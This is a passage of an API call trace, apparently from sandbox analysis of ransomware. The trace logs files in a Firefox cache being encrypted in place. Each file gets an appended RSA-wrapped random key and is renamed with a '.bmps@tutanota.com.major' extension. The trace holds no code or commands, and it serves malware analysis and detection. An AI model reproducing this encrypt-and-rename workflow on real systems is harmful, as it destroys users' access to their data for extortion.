"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9827dbe1b051df16647ccb9dba9c2ba261150a6c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9827DBE1B051DF16647CCB9DBA9C2BA261150A6C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9827dbe1b051df16647ccb9dba9c2ba261150a6c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.813] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.813] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\97D6DA803F25F7C3E7089BE62CE64B8DA8E01FB2", dwFileAttributes=0x80) returned 1 [0259.814] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xe3d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xe3d, lpOverlapped=0x0) returned 1 [0259.829] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.829] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442680*, nNumberOfBytesToWrite=0xe3d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442680*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe3d, lpOverlapped=0x0) returned 1 [0259.830] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe3d [0259.830] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.830] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.831] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.831] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.831] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.831] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="tNU9p57LFzqr/oJiWPhJpbPy33Zk+7hRvdxvMPqYM9s3wwmEgknL+PhGMinqLxVM\n5vGrVSku0/pe1MXd136V8V3OwLsCQAcuEJ371zRGSz/ClzZyw89zStMI0vhHuDu+\nY28KWvo7yl0Qv2dNAzBGbj7pEKJhW+e9g3P6Fd8W5O2DEul3yMuXJLHUbyVz6uFT\nVdVpu0IuWf5CkduExpFiXbv0LUlcu1VFJV++h2pK1uOq8GnNwZTr26hogvqfbAVb\nr9fbJ02lyXWbKj0kxPW1NZ617tfiZQ1NVAueXPVXI5s3mC8RKTGxgic+HnbktsyE\n8+2gtTEvLfREYslPCJsmjQ==\n", pcchString=0x2e3f9a8) returned 1 [0259.831] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.831] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.832] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.832] CloseHandle (hObject=0x1b84) returned 1 [0259.832] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\97D6DA803F25F7C3E7089BE62CE64B8DA8E01FB2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\97d6da803f25f7c3e7089be62ce64b8da8e01fb2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\97D6DA803F25F7C3E7089BE62CE64B8DA8E01FB2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\97d6da803f25f7c3e7089be62ce64b8da8e01fb2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.834] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.835] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\979C819D6C7504D17BB5A3F483ADA0C1FF961E27", dwFileAttributes=0x80) returned 1 [0259.835] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0259.843] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.843] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442640*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442640*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0259.844] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfc [0259.844] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.844] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.845] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.845] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.845] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.845] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pTJYxfWg1B+TPszPJ4pnZhOQkghpXKPQQ6cktKFwJ5q9rB4y/idH7M9L4qwJFffh\n5l4+3s+7ssOfBQOaJo3/zyunjVTMyidZITGBuQoqlogFpPfZ9xT5S3KbxAJv/Mqj\nhfetnQ6ikoDN0N5rsfRUi2RbW1PvaXTLwZVX8+mPqPzd3owDUY9x80uzryqAWq4q\nTaE6T418mmGCh4PlNm+9cpVWLhGkA1CBrqJXJhI3xNjSbvTSIMJL2tzVnyGHzmhv\n3tTvCA6e3fiIxHGELm+OX0gvoIcysOqXxDmNx+HrZDOLqRqxUnTQbjUx+xOCBi6r\nk6A2/1rdvft81+mSA62QWQ==\n", pcchString=0x2e3f9a8) returned 1 [0259.845] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.846] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.846] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.846] CloseHandle (hObject=0x1b84) returned 1 [0259.846] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\979C819D6C7504D17BB5A3F483ADA0C1FF961E27" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\979c819d6c7504d17bb5a3f483ada0c1ff961e27"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\979C819D6C7504D17BB5A3F483ADA0C1FF961E27.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\979c819d6c7504d17bb5a3f483ada0c1ff961e27.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.848] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.848] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\96D1160442CDA797188E30E830373B3E7F7E44D4", dwFileAttributes=0x80) returned 1 [0259.849] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xe9a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xe9a, lpOverlapped=0x0) returned 1 [0259.889] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3738, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.890] WriteFile (in: hFile=0x1b84, lpBuffer=0x34426e0*, nNumberOfBytesToWrite=0xe9a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34426e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe9a, lpOverlapped=0x0) returned 1 [0259.890] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe9a [0259.890] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.890] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.891] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.891] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.891] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.891] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Y+2HSvYhwCXZ4qieQT7B4n3pNGmA0pXuTBfKyIyMzAfBqhUAi+Zm0yjr54Z/DwxB\nV5b+5lSwF2Q9EoruVPtya5v717WvzL32aA/JIbR5oJCl5NKHYNPWHjvkd+TNNDvr\nCcdIUTrP3+SVahyDMMfANXy3xI9+QOUcKxbY1ZavFD5sYTn2Mtzwr+0+NWDFFHDW\nDnkM1TKIbl6fk1oB13BMwmu/2dVz51pfXJXkdQqxMDSFb15q9L2esube2BTJ2+s2\n/WMbnr+LHVmDE5caMfiXGMA29cFvZfwqidarX0/O7PNedDy+H4litKEzxZ7QI1Sb\nQuKRXQYXPryAHHyThwnpRg==\n", pcchString=0x2e3f9a8) returned 1 [0259.891] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.892] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.892] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.892] CloseHandle (hObject=0x1b84) returned 1 [0259.893] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\96D1160442CDA797188E30E830373B3E7F7E44D4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\96d1160442cda797188e30e830373b3e7f7e44d4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\96D1160442CDA797188E30E830373B3E7F7E44D4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\96d1160442cda797188e30e830373b3e7f7e44d4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.895] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.895] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\966A39DB849E895760A253D43B68E29A7533C445", dwFileAttributes=0x80) returned 1 [0259.895] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x190d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x190d, lpOverlapped=0x0) returned 1 [0259.908] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6413, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.908] WriteFile (in: hFile=0x1b84, lpBuffer=0x3441148*, nNumberOfBytesToWrite=0x190d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441148*, lpNumberOfBytesWritten=0x2e3f9b4*=0x190d, lpOverlapped=0x0) returned 1 [0259.909] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x190d [0259.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.909] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.910] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.910] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.910] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.910] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="i9n+8NKP8y8Cmaa54QmVKEDzg2zYIZOOAHX/sUbk48P1BX0o8UCdyccXLnx7MuNk\n4c+vQUii0HGZVYohCyOPj2pF2cMQ1p4nu6DNfs3zS0PHELglIfaYdhTsX/GKk5N1\nHXQDCP/vjpFMpfZBzc23SoLCQbRKE2k8cdTKN27czYeWEbe4UK1MmfX/RNVB6gZm\nqFhk3E+YqaWzgWbobIkWTQFBSB7kLTx+lRPnh+2/VoeT6t6d83essE0maSpzi/dF\nR2th2CDQEHaGq6W7rkRTuJrWJ0IxxO8kfZse0Uz1RODtA+IiyyrxpUvtapR5I9i4\neWF0HhZt6qGM2uc0UgdaoQ==\n", pcchString=0x2e3f9a8) returned 1 [0259.910] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.911] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.911] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.912] CloseHandle (hObject=0x1b84) returned 1 [0259.912] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\966A39DB849E895760A253D43B68E29A7533C445" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\966a39db849e895760a253d43b68e29a7533c445"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\966A39DB849E895760A253D43B68E29A7533C445.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\966a39db849e895760a253d43b68e29a7533c445.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.922] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.922] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\96090AC30D21DB80DB37F7E0C5E3C92231AAC295", dwFileAttributes=0x80) returned 1 [0259.922] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x15fb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x15fb, lpOverlapped=0x0) returned 1 [0260.012] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5627, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.012] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440e38*, nNumberOfBytesToWrite=0x15fb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440e38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15fb, lpOverlapped=0x0) returned 1 [0260.013] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15fb [0260.013] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.013] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.014] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.014] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.014] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.014] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ETXdX85fBm+0RTxwYP8aHml7iSg330dBgXVRrI3wGkj0aOra5GarHQAnbafSS72+\n1UrQcnEyqsfvxtJzdFNC3yCHEsmMaRZAucRXOWWtE6+sXoOGBJlORIYlMvptveAS\n8TLBVUY/suYQ5nTzun/Fc6eXQvGtSr3W2PRmISWjVbjwWpn782t7zZVx4ykWyOzw\nQT6GLzBSvtbx6kZKlzXVdzSMyN1ZbLXC6mUJdX3oAkySnjjgok698gJcPdu95uKo\nHvg0pCeB/fSfaMO5kCzMoaT/VGHVY9IlwN3vxerNb79H+zEcsfZaW8+8DE8u4fyF\n7qLLExAREKnjFz52lHaHJQ==\n", pcchString=0x2e3f9a8) returned 1 [0260.014] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.014] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.014] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.015] CloseHandle (hObject=0x1b84) returned 1 [0260.015] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\96090AC30D21DB80DB37F7E0C5E3C92231AAC295" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\96090ac30d21db80db37f7e0c5e3c92231aac295"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\96090AC30D21DB80DB37F7E0C5E3C92231AAC295.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\96090ac30d21db80db37f7e0c5e3c92231aac295.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.027] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.027] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9562ACA5B7D12C4434606DB907926F6EF9F36E1C", dwFileAttributes=0x80) returned 1 [0260.028] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0260.155] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.155] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0260.156] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0260.156] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.157] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.157] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.157] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.158] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.158] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 